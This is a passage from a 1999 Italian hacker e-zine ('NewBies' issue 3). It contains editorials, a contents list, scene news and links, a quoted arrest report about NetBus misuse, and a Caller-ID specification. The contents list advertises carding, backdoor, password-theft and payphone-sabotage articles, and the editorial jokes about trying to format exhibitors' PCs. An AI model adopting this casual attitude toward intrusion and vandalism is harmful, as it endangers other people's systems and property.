@-,',.,',.,',.,',.,',-@ | _ _ ____ _ | | | \ | | _____ _| __ )(_) ___ ___ | -+- | \| |/ _ \ \ /\ / / _ \| |/ _ Y __|-+- : | |\ | __/\ V V /| |_) | | __|__ \ : | |_| \_|\___| \_/\_/ |____/|_|\___|___/ | @-,',.,',.,',.,',.,',-@ NEW BIES (num 3) (data 07/05/99) [ powered By ZeroCool and N0bodY88 ] DISCLAIMER LEGALE ------------------------------------------------------------------------------ IL NEWBIES STAFF NON SI ASSUME NESSUNA RESPONSABILITA' X L'UTILIZZO DELLE TECNICHE SOTTO RIPORTATE, LE QUALI SONO STATE DISTRIBUITE UNICAMENTE X CONDIVIDERE LE CONOSCENZE DA NOI "ACUISITE" (mitico edu...) E PER CERCARE QUALCUNO CON CUI CONFONTARE LE NS ESPERIENZE E LE CONOSCENZE X MIGLIORARE VICENDEVOLMENTE.....DIVERTENDOSI! N0bodY88 of NewBies Staff ------------------------------------------------------------------------------ PREMESSA Questa e-zine e' nata in una giornata qualsiasi di gennaio, mentre 2 newbies stavano parlando tra loro in IRC di non mi ricordo cosa. Da quel fatidico giorno la e-zine e' cresciuta, le persone che ho contattato x scrivere un articolo mi hanno dato la loro disponibilita' e entro alcuni giorni mi hanno fatto avere il loro operato. Alcune persone hanno fatto tardi x notti intere (fra cui il sottoscritto) ed hanno sacrificato il loro tempo x creare qualcosa che fosse nuovo, divertente, che ci facesse diventare + bravi, + amici, + uniti e forse...beh...forse anche + famosi...hihihi! Questo e' quello che abbiamo realizzato insieme, collaborando e scambiandoci opinioni. Se questa e-zine non vi piace, e' troppo semplice o e' stupida non scriveteci (oppure scriveteci x migliorare un art. della e-zine sfruttando le vostre conoscenze) ma se solo sara' piaciuta ad una persona, se solo un ragazzo dopo aver letto questa avra' deciso di passare a linux, di programmare in visual basic, di farsi una propria backdoor o di mettersi a studiare come si usa telnet (troppo poco attrezzato di voci nei menu x essere quello tanto decantato dovunque, ma anche troppo simpatico con il suo prompt a mo di Commodore 64) allora questa e-zine sara' servita a qualcosa. E ricordate...newbies si nasce, hacker si diventa. Buona lettura ^__^ N0bodY88 INTRODUZIONE: Intro: Hey benvenuti al numero 3 di questa nostra e-zines io e nobo siam sempre + amici oramai e per questo lo saluto dicendo sei stramitico , saluto il mitico \Spirit\ di bfi dicendo : bfi5 mi e'piaciuto molto [l'ho letto tutto di un fiato ] , volevo farti cmq notare anche se non abbiamo fatto in tempo a dirtelo prima su NewBies 2 ci siamo anche noi completamente dissociati dall'apporre e divulgare green e per questo avevamo deciso di togliere la pagina dei green anche se tutto cio' non e' ancora stato fatto . Voglio anche farti notare che quelli esposti non erano veri e propri green ma numeri di info o altro , che cmq non servono x collegarsi a internet , cmq accetto la critica ovviamante giusta e concordo su come la pensi pienamente e colgo l'occasione per essere stato cosi'poco furbo da non toglierli subito. Colgo anche l'occasione dato che gia'molti me lo hanno fatto notare che un paio di articoli sono stati rippati completamente in NewBies 2 da testi inglesi da alcuni dei nostri collaboratori , inizio col dire che sia io che N0bodY88 non ci riteniamo responsabili per simili lamerate e che cmq chi ha fatto la cazzata di rippare e' stato immediatamente espulso dalla crew che preferisce avere 10 articoli fatti bene che 100 fatti alla cazzo . Spero di essermi fatto capire bene , credo che rippare sia scorretto soppratutto verso chi ha lavorato a un testo giungendo con il proprio lavoro a un risultato ; io sinceramente mi incazzerei come una mina se qualcuno rippasse i miei articoli [anche se non penso che meritino di essere rippati [doppiosenso scusate] ] .... Saluto tutto quelli che conosco in internet e in particolare: N0bodY88 , Ax1s , DarkSchnaider [o meglio Garo della Garofanosoft ] , \Spirit\ , Cavallo, quelli di rootsheel , i miei amici di Telstra , i miei amiconi di efnet in particolare dei canali #roms , #emu , #italia su efnet siete mitici , quelli su irc.tin.it nei canali #hackernow e #hackers , w00w00 , RaffyCrash , quelli di #emuita in particolare F{G}F , Spino , Etron e Mythos e questa volta il mio saluto va' con tutto il cuore a due persone in particolare : Kevin [liberateloooooo] e SKuZ [una persona che sa' quello che vale eppure non si va'vanta]. Raga ci si vede tutti all'Hackit99 ZeroCool Provoces the best you will die like a slave ͻ ARTICOLO ͹ AUTORE ͹ |PREMESSA N0bodY88 | |INTRODUZIONE ZeroCool | |NOVITA' NewBies Staff | BFI, RINGZERO, SPAGHETTI PHREAKERS E IL FUTURSHOW N0bodY88 QUALCHE LINK E QUALKE NEWS ZeroCool ELECTRO-RIPPER I DDT E I DIB N0bodY88 PRESO GRANDE HACKER CHE USAVA UN VIRUS !!! 3uC@50L L'ANGOLO DELLA POSTA ZeroCool RIEPILOGO LINK IN ORDINE ALFABETICO N0bodY88 |INFO SUGLI ALLEGATI NewBies Staff | 2 PAROLE SUGLI ALLEGATI N0bodY88 |PROGRAMMAZIONE NewBies Staff | C TUTORIAL [ TERZA PARTE ] ElectroRipper MIRC SCRIPTING TUTORIAL [ PRIMA PARTE ] SpYmAsTeR NASCONDERE UN PROGRAMMA ALL'INTERNO DI UN ALTRO IN PASCAL Master-Parsifal PASCAL TUTORIAL [ SECONDA PARTE ] T0rment0 PRIMI PASSI VERSO L'ASSEMBLER [ PRIMA PARTE ] So[RD]eN SUGGERIMENTI PER IL VISUAL BASIC T0rment0 BACKDOORS FOR DUMMIES (OVVERO COME FARSI UNA BACKDOOR) ipLey PROGRAMMAZIONE DI DEMO X NINTENDO 64 ZeroCool |ANARCHIA, BANCHE, BOMBE ET SIMILI NewBies Staff | COME RENDERE INUTILIZZABILE UNA CABINA TELEFONICA Fusyllo COME HACKERARE UN COIN-OP PiNbALL "COMPLETAMENTO" DELL'ART APPARSO SU NewBies 2 SULLE BANCHE Anonimo LE "FAMOSE" BOLLE MICROSOFT Dante Alighieri W LA PESCA DI FRODO Anonymous W I PROF ASSENTI DA sQuola Anonymous L'ARTE DEL CARDING Killex ARRIVANO I VANDALI !!! Fusyllo POSTING:SE IO SONO IO E TU 6 TU KI E' IL + SCEMO TRA NOI 2 Dante Alighieri COME HACKERARE UNO SCOOTER PiNbALL |CRACKING NewBies Staff | COME CRACKARE UN PROGRAMMA Quequero PRINCIPI DI BASE X CRACKARE UN GIOCHINO AnArChY CRACKARE TELEPORT PRO 1.29 Quequero CRACKING, QUESTO SCONOSCIUTO SpYmAsTeR CRAKKIAMO AGE OF EMPIRES DeViLNeT UN BREVE TUTORIAL SUI GENERATORI DI CHIAVI +MaLaTTiA UN ESEMPIO DI DLL REVERSING -NeuRaL_NoiSE PE-CRYPTERS: UNO SGUARDO DA VICINO AL C.D. "FORMATO" PE Kill3xx MANUALE DI CRACKING S2 |TEORIA NewBies Staff | COME FUNZIONA NETSTAT Barninga Z SISTEMI OPERATIVI Frensis KERBEROS...IL CAGNACCIO Ulntwh99 GESTIRE + SCHEDE DI RETE CON WINDOWS 95 Barninga Z TCP/IP (QUELLO CHE ANCORA NON E' STATO DETTO) DarkSide NETWORK UTILITIES FOR DUMMIES Firebeam DALLA PARTE DEI SYSADMIN Alpha-666 L'ABC DELLE RETI N0bodY88 LA SCATOLA MAGICA GCC |TRADUZIONI NewBies Staff | PRESENTAZIONE Wurz EXPLOITS Wurz COME AVERE LA PASSWORD ISP DEL TUO AMICO/NEMICO Wurz LARGE PACKET ATTACKS (ALIAS PING DELLA MORTE) Wurz |INTERVISTE NewBies Staff | INTERVISTA A UN HACKER - REDATTORE DI E-ZINE N0bodY88 INTERVISTA A UNA CREW POCO CONOSCIUTA... NonHoNome |LOG DEL MESE NewBies Staff | M0F0Z LAMER O HACKER ??? Kalidor SCUSSA CHE TU CCIAI UNA CARTA DI CREEDITO? N0bodY88 |PHREAKING NewBies Staff | ASCOLTARE LE CHIAMATE DEI CELLULARI Fusyllo SEGRETERIA DEI CELLULARI TIM Velvet BLUE BOX VaFfa BOXA DI QUI, BOXA DI LA' ZeroCool |VIRUS NewBies Staff | FILOSOFIA DEL VIRER MODERNO Caos83 DABATCHA PRESENTS: VBASIC DAFT-PROGRAMMING ~aBatha TIPI DI VIRUS Quequero PEPSI5: PACCHETTI UDP A TRADIMENTO T0rment0 MACRO - VIRUS T0rment0 |IL MONDO DI IRC NewBies Staff | COME PIAZZARE UN BOT-to SENZA FARCELO SALTARE The Sciack IRC NETWORKS SpYmAsTeR INTERVISTA CON UN IRCOP SpYmAsTeR IRC SECURITY SpYmAsTeR NONSOLOKICK PASSWORDZ 1-v-n0-n4m3 IL PUNTO SU IRC TetoFuck GUIDA PRATICA AL SETTAGGIO DI UN BOT Dante Alighieri |HACKING DI TUTTO DI PIU' E DIVERSI ART. MOLTO INTERESSANTI NewBies Staff | LO CHIAMAVANO GUEST STAR Cavallo TRASHING.. CHE PASSIONE! HarLoK PIEDINI CHE CASINO! RigoR MorteM AGGRESSOR SpYmAsTeR GUIDA AL NETBUS 2.0 Quequero BREVI SAGGI DI NETWORKING SOTTO LINUX 1 Alpha-666 TV HACKING E SATELLITE CRACKING ZeroCool BREVI SAGGI DI NETWORKING SOTTO LINUX 2 Alpha-666 SISTEMI DI NUMERAZIONE (BINARIO, DECIMALE, ESADECIMALE) Quequero NAVIGHIAMO AL NETCAFE' IN ALLEGRIA Unlt COME CREARVI UN MENU DI BOOT PERSONALIZZATO SpYmAsTeR COME SCAVALCARE LA PASSWORD DEL BIOS Yago LA STORIA DELL'HACKING T0rment0 L'ANGOLO DEI FILM INTERESSANTI N0bodY88 UNIX AIX ALLA JOHN THE RIPPER McFly ARTICOLO DI CHRISTOPHER KLAUS X ROOTSHELL ZeroCool LISTA PORTE Dante Alighieri NETBUS Sephiroth KEY LOGGER QUESTO SCONOSCIUTO Sephiroth OVERCLOCKING [ SECONDA PARTE ] Ulntwh99 ICQ EXPLOIT OVVERO COME FOTTERE LE PASS Sephiroth OVERCLOCK E OVERCLOCK VOODOO 1 SoftWord CHE ABBIANO CAPITO QUALCOSA? Ja[3]Ck HACKING DEI COMPUTER NETBIOSSATI Kalidor TRE SEMPLICI BACKDOOR HaMelIn CACHE DI IE...DOVE HAI MESSO IL MIO MIDI??? N0bodY88 SICUREZZA E LINUX [mAx] UNA STORIA SULLA TELEKOZZ StuZzik0&|bLeaH AMMINISTRAZIONE AVANZATA DI UN SISTEMA UNIX TetoFuck COME OVERCLOCKARE IL NS. AMATO MASTERIZZATORE Brusto TRUCCHI SU DOS Quequero S.A.T.A.N. Anti-social RADIO CHE PASSIONE Ulntwh99 MILANO CITTA' DI FUOCO Ulntwh99 |CHEAT NewBies Staff | TRUCCHI NEI GIOCHI CHE COMINCIANO X A E B P4p31_N0 |SALUTI NewBies Staff | |PARZIALE ASSENZA DI N0bodY88 N0bodY88 | |NEWBIES STAFF N0bodY88 | ۰۰۰۰۰۰۰۰ ۰۰۲۰۰۰۰۰۰۰۰ ۰۰۰۲۰۰۰۰۰۰۰۲۰ ۰۰۲۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ͻ Ŀ BFI, RINGZERO, SPAGHETTI PHREAKERS E IL FUTURSHOW ٺ ͼ Salve a tutti e benvenuti a questo nuovo numero di NewBies la e-zine fatta da (x la maggior parte) e x newbies. Allora le novita' di questo mese o + sono essenzialmente le seguenti, riportate in ordine alfabetico: BFI = ebbene si non ci credo ancora su BFI 5 si e' parlato di noi! Un tnx quindi a /sPIRIT/ al quale promettiamo qui sulla e-zine di non trattare + di green e al quale diciamo anke che una collaborazione con la deagostini per un corso di hacking con tanto di bb inclusa....e' una bella idea!!! Un tnx a tutto lo staff di BFI quindi che speriamo vada avanti come e meglio di Phreak. Il sito di BFI x quelle poke persone che tornano adesso da una spedizione di 2 anni al centro del polo nord, e' questo: http://softpj98.bbk.org/main.html e tanto x puntualizzare ricordiamo che BFI e Softpj NON sono la stessa cosa quindi non confondeteli, ma amateli entrambi :). AGGIORNAMENTO: se non potevo credere che su BFI si parlava di noi provate a immaginarvi cosa si prova a ricevere in mail un articolo da un certo (sconosciuto ai + =)) Cavallo de Cavallis e poi ditemi... FUTURSHOW = gruppo neonato che...ma che cax dico? Allora il futurshow sapete tutti cos'e' e se non lo sapete vi basti sapere (trovatemi uno che dica lo stesso verbo tre volte in 12 parole!) che e' un insieme di molti stand (ben 5!!!) dove ci si va a vedere le diverse radio, i vari gestori di telefonia che sono un piacere e ve lo giuro sul fatto che vado a messa ogni mattina....cmq direte voi se sto fs e' cosi' na m***a xche' ce ne stai a parlare? Allora un certo tipetto non molto conosciuto (hihihi) che in rete gira col nick RigoR MorteM ha deciso di smettere di trovarsi a scrivere con un bel po' di gente e ha avuto l'idea...e se ci si vedesse al fs in real mode? Alche' io ho chiesto ad alcuni del NewBies Staff di venire, poi si sono aggiunti altri e dai 20 che RigoR aveva in mente ci siamo trovati in 35 (o+) tra i quali vi era gente degli Spippolatori (qualcuno...) di BFI (2), del Softpj (2), degli Spaghetti Phreakers (1), e del NewBies Staff (8 se non sbaglio) quindi abbiamo passato una fantastica giornata (anke se un po' frammentati) con formattazione (o tentata tale) di qualke pc della tin, un po' di surf su cd MS con realativa bolla annessa (Dante docet) ci siamo divertiti un casino, abbiamo abbinato ai nick qualke faccia e alla fine ce ne siamo tornati a casetta propria...se volete saperne di + leggetevi la recensione di RigoR MorteM sulle sue disavventure con gli addetti microsoft riportata nel numero 5 di NetRunners che trovate anke nel formato html sul fantastico sito www.spippolatori.com... cmq una cosa la devo dire...il fs e' una....lasciamo perdere... NETRUNNERS = ebbene si' e' uscito il mitico numero 4 di NetRunners dove trovate un bel po' di materiale da inserire nei ns hd mentali ^_^ ...e mi dicono stia quasi x uscire il 5 numero, ma...cavolo almeno non sbavate sulla stampa di NewBies! hihihi Master(C) AGGIORNAMENTO = ebbene si' e' uscito anke il numero 5 che ho potuto visionare solo x poco causa prob. miei ma come al solito, 1 tremenda maledizione si abbattera' su coloro che non la scarichera'!!! RINGZ3R0 = con questo mitico gruppo abbiamo fatto un patto straconveniente (x noi) nel senso che noi prendiamo alcuni dei loro articoli e li pubblichiamo mentre loro...si accontentano di vederli pubblicati! Sperando che dopo questo numero di NewBies non cambino sito, canale irc x la vergogna (hihihi) saluto tutti i membri, gli external con i quali, nel canakle, mi sono sentito veramente un programmatore di m3rd4 xche' non capivo un cax....hihihi. PS: il loro sito che se volete vivere dovrete visitare almeno una volta alla settimana xche' una volta visitato provoca dipendenze (ve lo giuro!) e' il seguente: http://ringzer0.cjb.net e ficcatevelo bene nei bookmark xche' se amate anke solo fare programmi alla cax [come i miei] questo e' un must! (PS: con quest'ultima frase non volevo xo' offendere i Ring0) SPAGHETTI PHREAKERS = sito raggiungibile a http://come.to/spaghettiphreakers/ dove CdP, Blum e HaRLoK guidano un gruppo che imo puo' portare a risultati mooooolto buoni, e se proprio non vi bastasse la gia' presente lista di art disponbili su cellulari, telefoni et simili, c'e' anke il famoso e mitico cookbook di avatar. Qui sulla e-zine propongo ad HaRLoK di valutare se fare entrare Dante negli Spaghetti, il xche'? Ti ricordi del suo cellulare? Si si quello che assomigliava a una cornetta di una cabina...hihihi AGGIORNAMENTO: ora ho lo stesso modello di cellulare di Dante :D ma il mio non funzia :((((( hihihi SPIPPOLATORI = x i soliti poki che non lo sanno finalmente potete andare sul sito www.spippolatori.com dove tra l'altro ci siamo anke noi di NewBies, quindi grazie a tutti gli Spippolatori, tra i quali spicca il Webmaster..chi e'? A voi l'ardua prova di indovinare! Cmq andateci spesso e se potete scaricatevelo tutto che e' + di must x qualunque hacker/phreaker/cracker/virus writer/newbies. PS: se non ci andrete entro 2 ore dall'apertura di questo txt i vs hd diventeranno buoni solo x giocarci come fresbee!!!! Da segnalare il fatto che pur avendo come webmaster una persona che lavora mooooolto [pure troppo direi!!!] il sito ogni settimana viene aggiornato con sempre nuove guide e sempre + guide e/o mirror di siti vengono addati [tanto x citarne alcuni Ring0, cookbook di Avatar, NetRunners, NewBies e molti altri vengono addati gg dopo gg quindi non esitate e andate giu' di teleport a manetta :DDD] N0bodY88 ͻ Ŀ QUALCHE LINK E QUALKE NEWS ٺ ͼ Un poco di news generali : come al solito questa e' una delle parti che preferisco fare , qui si parla di news generali , articoli , notizie , siti e nuovi programmi e secondo me e' una buona buona parlare anche di un poco di argomenti divertenti in una ezines cosi' specialistica. Allora inizio a darvi il mio caro bookmark del mese con i miei sitazzi preferiti il mio sito under construction http://www.wajens.no/ elenco telefonico mondiale , bellissimo da vistare assolutamente http://www.zophar.net Sito di emulazione http://members.xoom.com/falconpcs/ Emulatore Saturn http://members.xoom.com/shuma_gorath/ Emulatore Saturn http://www.emuunlim.com Sito Di Emulazione http://www.moonlitcoalition.com/sunset/compat/index.html Compatibily list For SunSet [Emulatore N64] http://www.snes9x.com Emulatore SuperNintendo http://www.emucamp.com Emulazione In Generale http://www.bleem.com Emulatore PlayStation http://www.elitegamer.com Emulazione in Generale http://www.poli.studenti.to.it/ftp/pub/music/prometeo/Giapponesi/ Prometeo ftp://www.gnet1.com/pub1/roms/ Rom and More http://138.232.233.38/hitman/capcom.htm Cps1 e 2 [solo una] adress: http://perso.infonie.fr/dam07 http://www.emux.com http://www.classicgaming.com/thedump/ hem.passagen.se/ogg http://neocharity.retrogames.com http://naz.retrogames.com http://home.columbus.rr.com/apollo69 http://www.retrogames.com http://www.elitegamer.com/ http://www.hitsquad.org/ http://summer64.hitsquad.org/ Okki per me sti link sono bellissimi e riguardano in particolare l'emulazione. Faccio notare per i principianti che e' uscita una distribuzione di linuzzo denominata Mandrake , abbastanza semplice da usare ma molto pesante sul sistema a causa della gui che si chiama kde. Molte news riguardo programmi e exploit sono uscite in particolare se volete cercare exploit consiglio il solito mega sitone: www.rootshell.com e per siti / programmi nuovi il mitico astalavista Bha per linux consiglio : http://www.linuxgames.com/ per i giochi sempre aggiornato e per il resto guardate http://linux.box.sk/ troverete sempre qualcosa di aggiornato o http://www.slashdot.org/ senno' http://www.freshmeat.net/... Bon Nuit ZeroCool Provoces the best you will die like a slave ͻ Ŀ ELECTRO-RIPPER I DDT E I DIB ٺ ͼ Allora in questo spazio volevo parlarvi di due nuove e-zine che andranno ad arricchire l'underground italiano sulla rete (troppe volte sottovalutato). La prima e' gestita da ElectroRipper (uno dei ns mitici scrittori) e potete reperirla sul web o su irc chiedendo a me, a ElectroRipper o a qualcuno cmq su #hackernow di IrcNet (solo xche' non so l'url da dove scaricare la e-zine in questione, dato che appena mi arriva l'url saremo felici di comuni carvelo [ps: a me l'hanno passata se no mettevo l'url]). Il nome di questa nuova e-zine e' Vana Imago ed e' visualizzabile sotto dos/windows dato che e' in formato .exe. L'interfaccia grafica e' molto bella e non occupa neanche tanto. Io ho dato un letta agli articoli e non sembrano niente male...se poi pensate che e' solo il primo numero di una lunga serie :) vi sfregerete le mani dalla contentezza!!! L'altra e-zine che sta nascendo e' curata dai DDT (Digital Destruction Team) che potete trovare su #ddt.ita di IrcNet. Non ho visto neanche un loro articolo finora (di quelli che andranno sulla e-zine) ma conoscendo chi ci scrivera' (gente di Spaghetti, alcuni dei 7th_klan e gente preparata quali Vecna, Lord_Destruction, HaRLoK...i DDT insomma!) so gia' che ne verra' fuori una e-zine veramente niente male! Per quanto riguarda i nuovi gruppi siamo venuti a conoscenza di un nuovo gruppo formatosi da poco che va sotto il nome di DIB e che prossimamente scrivera' qualke articolo x noi :) Per adesso sappiamo solo che DIB sta per Digital Italian Bastards e che diventeranno un bel gruppo tosto (speriamo :). Non ci resta quindi che augurare un bocca al lupo x entrambe le e-zine ai nuovi gruppi quali i DIB e molti altri che si stanno formando; ci tengo a precisare che NON c'e' nessuna rivalita' [ almeno simp ] tra le varie e-zine, anzi prevale lo spirito di collaborazione, d'altra parte tutti lo facciamo per insegnare quel poco che sappiamo e x imparare di + :-) Se volete mandare una mail in cui indicate il nome della vs crew e esporci i vs obbiettivi, i requisiti x essere ammessi, potremo mettere in contatto gente che magari non gira dove girate voi, ma che cmq ha gli stessi vs interessi. E ricordate...come disse un grande...."Ci sono tre possibbilita': e' possibbole, non e' possibbole, e' IMPOSSIBBOLE!!!. " PS: se dopo avere visto le 2 e-zine direte "Che figata!!!"...be...io ve lo avevo detto :-)))) PSS: ho sentito ElectroRipper e ho l'url dal quale potete scaricarvi la sua nuova e-zine ---------------> http:/members.xoom.com/eripper/index.htm PSSS: simp = secondo il mio parere [ SpaceIce rulez :D ] Sii-iiuuu-suuunnn N0bodY88 ͻ Ŀ PRESO GRANDE HACKER CHE USAVA UN VIRUS !!! ٺ ͼ Riporto qua sotto un art. apparso sull'ultimo bollettino delle novita' di VOLftp sperando di non creare casini pubblicando un loro articolo: >Se vi siete ripresi (noi ancora no!) continuiamo con il notiziario di >questa settimana con una notizia della stampa locale (Unione Sarda) >che riporta la notizia di un ragazzo che giocando con Internet si e' >messo nei guai, concediamo al cronista l'uso del termine Hacker anche >se lo riteniamo improprio, in quanto chiunque utilizzando programmi >che si trovano facilmente sulla rete e' in grado di improvvisarvi >pirata telematico. Gli hacker sono ben altra cosa e hanno ben altre >conoscenze ed abilita'. E' il primo giornalista che vedo che sa distinguere un vero hacker da un lamer...ma aspettiamo x giudicare il tipo che hanno preso :) Cmq complimenti al giornalista xche' ha dimostrato di capire la differenza tra chi e' spinto dalla conoscenza e da chi vuole solo fare il figo e/o mona! >Comunque meditate!! Uno scherzo si puo' anche farlo agli amici ma >effettuarlo sistematicamente e su larga scala ai danni di sconosciuti >porta a conseguenze penali decisamente pesanti. Chi sbaglia paga... >E come vedete l'autorita' e' oramai preparata ad intervenire per >tutelare i cittadini anche quando navigano sulla rete ed e' sensibile >alle segnalazioni. Infatti il NOPT e' attivo come e' vero che io sono un hacker! :P ----------------------------------------------------------------------- >L'hacker denunciato e' un geometra cagliaritano di 25 anni Sottolineo quell'"hacker"... >Files rubati ai computer dei "navigatori" grazie al virus diffuso su >Internet Virus? che virus sara'??? >Meglio non fermarsi a chiacchierare con gli sconosciuti, soprattutto >sulle chat-line di Internet. L'hanno imparato a proprie spese numerosi >abbonati a diversi provider nazionali, ai quali un hacker cagliaritano >di 25 anni ha sottratto, durante la navigazione, gli identificativi e >le password per collegarsi in rete. Visto che c'era, G. F., geometra >disoccupato, ha fatto di piu': dal disco fisso dei computer delle >vittime, ha portato via documenti e fotografie digitalizzate, creando >seri danni e violando la privacy dei malcapitati. Il "capolavoro", del >quale andava particolarmente fiero, era lo "scherzetto" organizzato ai >danni di un perito assicurativo: l'uomo e' trasecolato, quando sul suo >monitor e' comparsa la scritta "Il computer e' stanco". Caxxo ma come avra' mai fatto questo genio hacker?????? >Ingegneri, avvocati, docenti universitari e studenti, caduti nella >trappola del geometra, si sono rivolti ai carabinieri, che hanno >individuato l'hacker. Ottenuto un mandato di perquisizione, i militari >del Nucleo operativo della Compagnia hanno bussato alla porta di G. F. che ha risposto "No grazie non compro niente" hihihi >(che nel web era conosciuto col soprannome di "Harris"). Il giovane e' Mi che ppppppaura!!! Il conte Drac...ehm...Harris!!!!!!!!!!!! >stato denunciato per una sfilza di reati che vanno dall'accesso >abusivo ai sistemi informatici alla diffusione di codici segreti, >dalla sostituzione di persona alla violazione della tutela dei >programmi per elaboratori, passando per la diffusione di software in >grado di danneggiare i computer. Ma sto cax di virus cosa sara' mai???? >"Harris", spiega il tenente Saverio Spoto, comandante della Compagnia >dei carabinieri, contattava le sue vittime attraverso Icq, un area di >conversazione offerta da numerosi provider di Internet. Utilizzando Sono i provider a offrire icq? Non sono competente in materia ma non credo proprio che siano i provider... >una chiave d'accesso acquistata fornendo generalita' false, durante le >"chiacchierate scritte" G. F. inviava ai computer delle vittime il >virus Netbus, che consente di "navigare" nel disco fisso dei computer >altrui durante il collegamento a Internet. Harris aveva anche un uhhhhhhhhhhh!!!!! il famoso virus Netbus!!!!! Un vero e proprio virus!!! Certo c'era bisogno di specificare, magari uno pensava che consentisse di navigare nel disco fisso dei computer altrui finito il collegamento a Internet! A computer spento magari!!! >proprio sito, nel quale offriva foto pornografiche, programmi-pirata e >files di ogni genere: chi si collegava al suo indirizzo, veniva >immediatamente contagiato dal virus informatico. Allora non e' una stronzata il fatto che il 44% degli italiani usano Internet solo x andare su siti XXX ... e che il 32% lo usa x cercare e scaricarsi software pirata ... ahahahah >Ottenuto l'accesso ai computer delle persone contattate in rete, >spiega il tenente Spoto, il giovane si impadroniva dell'identificativo >e della password segreta, utilizzati dalle vittime per collegarsi alla >rete: ne aveva alcune decine. Era solo l'inizio: subito dopo, iniziava Cavolo!!! Alcune decine!!! Quanto vorrei diventare un vero hacker come lui ;) hihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihi >il furto di files e foto digitali, che sparivano misteriosamente dagli >hard disk dei proprietari e finivano su quello di G. F. Che uso >intendesse farne, ancora non si sa: i carabinieri sospettano che il >pirata informatico abbia forzato anche i sistemi di uffici pubblici e >professionisti, entrando cosi' in possesso di dati estremamente >riservati. >Gli investigatori non spiegano come, ma alla fine sono riusciti a Certo che e' difficile leggere un ip in qualke log file, andare dalla tin e dire "Scusi chi e' questo x.x.x.x ???" Ricordatevi che nella polizia ci sono solo ex-smanettoni o ex-hacker che cosa credevate ;))))))))))))) >identificare il geometra, che ora rischia una condanna fra uno e >cinque anni di carcere. Dal comandante della Compagnia, partono ora Da uno a cinque anni...se ti prendono a usare bo netbus e altri 10 trojan che ti danno 60 anni di carcere? >due appelli: I frequentatori dell'Icq farebbero bene a fare una >scansione del disco fisso, con un antivirus aggiornato. Chi ha avuto >contatti con Harris, se ha il dubbio che i suoi archivi siano stati >forzati, venga a trovarci al Comando. L'indirizzo, stavolta non >telematico, e' via Nuoro 9 Cagliari. > LUIGI ALMIENTO Per questo numero e' tutto questo art vi e' stato segnalato da me cioe' io che sono il mitico (non molto in verita') 3uC@50L. Spero che ognuno di voi possa capire se quello che e' stato preso era un hacker o un lamer...cmq a voi l'ardua scelta... e speriamo che queste parole non siano buttate al vento come foglie d'autunno... 3uC@50L ͻ Ŀ L'ANGOLO DELLA POSTA ٺ ͼ Mailzz viva i lettori: From: sichermn@beach.csulb.edu (Jeff Sicherman) Subject: Caller-ID Specifications This is a copy of the data sheet picked up at the Rockwell booth at the COMDEX show. INTRODUCTION Calling Number Delivery (CND), better known as Caller ID, is a telephone service intended for residential and small business customers. It allows the called Customer Premises Equipment (CPE) to receive a calling party's directory number and the date and time of the call during the first four second silent interval in the ringing cycle. The customer must contact a Bellcore Client Company to initiate CND service. According to Pacific Bell representatives, the following states and district currently support CND service: Delaware, District of Columbia, Florida, Georgia, Idaho, Kentucky, Louisiana, Maine, Maryland, Nebraska, Nevada, New Jersey, Oklahoma, Tennessee, Vermont, Virginia, and West Virginia. The following states are scheduled to support CND service by April, 1992: Alaska, Arizona, California, Colorado, Illinois, Indiana, Iowa, Massachusetts, Mississippi, New Hampshire, New York, North Carolina, North Dakota, Ohio, Oregon, Rhode Island, and South Carolina. PARAMETERS The data signalling interface has the following characteristics: Link Type: 2-wire, simplex Transmission Scheme: Analog, phase-coherent FSK Logical 1 (mark) 1200 +/- 12 Hz Logical 0 (space) 2200 +/- 22 Hz Transmission Rate: 1200 bps Transmission Level: 13.5 +/- dBm into 900 ohm load (I have copied this data as presented. I believe the transmission level is meant to be -13.5 dBm.) PROTOCOL The protocol uses 8-bit data words (bytes), each bounded by a start bit and a stop bit. The CND message uses the Single Data Message format shown below. Channel Carrier Message Message Data Checksum Seizure Signal Type Length Word(s) Word Signal Word Word CHANNEL SEIZURE SIGNAL The channel seizure is 30 continuous bytes of 55h (01010101) providing a detectable alternating function to the CPE (i.e. the modem data pump). CARRIER SIGNAL The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to condition the receiver for data. MESSAGE TYPE WORD The message type word indicates the service and capability associated with the data message. The message type word for CND is 04h (00000100). MESSAGE LENGTH WORD The message length word specifies the total number of data words to follow. DATA WORDS The data words are encoded in ASCII and represent the following information: o The first two words represent the month o The next two words represent the day of the month o The next two words represent the hour in local military time o The next two words represent the minute after the hour o The calling party's directory number is represented by the remaining words in the data word field If the calling party's directory number is not available to the terminating central office, the data word field contains an ASCII "O". If the calling party invokes the privacy capability, the data word field contains an ASCII "P". CHECKSUM WORD The Checksum Word contains the twos complement of the modulo 256 sum of the other words in the data message (i.e., message type, message length, and data words). The receiving equipment may calculate the modulo 256 sum of the received words and add this sum to the reveived checksum word. A result of zero generally indicates that the message was correctly received. Message retransmission is not supported. EXAMPLE CND SINGLE DATA MESSAGE An example of a received CND message, beginning with the message type word, follows: 04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51 04h= Calling number delivery information code (message type word) 12h= 18 decimal; Number of data words (date,time, and directory number words) ASCII 30,39= 09; September ASCII 33,30= 30; 30th day ASCII 31,32= 12; 12:00 PM ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM) ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling party's directory number 51h= Checksum Word DATA ACCESS ARRANGEMENT (DAA) REQUIREMENTS To receive CND information, the modem monitors the phone line between the first and second ring bursts without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the task. (I will mail the Rockwell data sheet, which includes the suggested schematic diagram.) MODEM REQUIREMENTS Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202 signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset. The host then configures the modem to monitor the phone line for CND information. (I'm skipping some Rockwell-specific information here.) According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and ends at least 475 mS before the second ring burst. APPLICATIONS Modem manufacturers will soon be implementing new modem features based on CND information as this service becomes widely available. Once CND information is received the user may process the information in a number of ways. 1. The date, time, and calling party's directory number can be displayed. 2. Using a look-up table, the calling party's directory number can be correlated with his 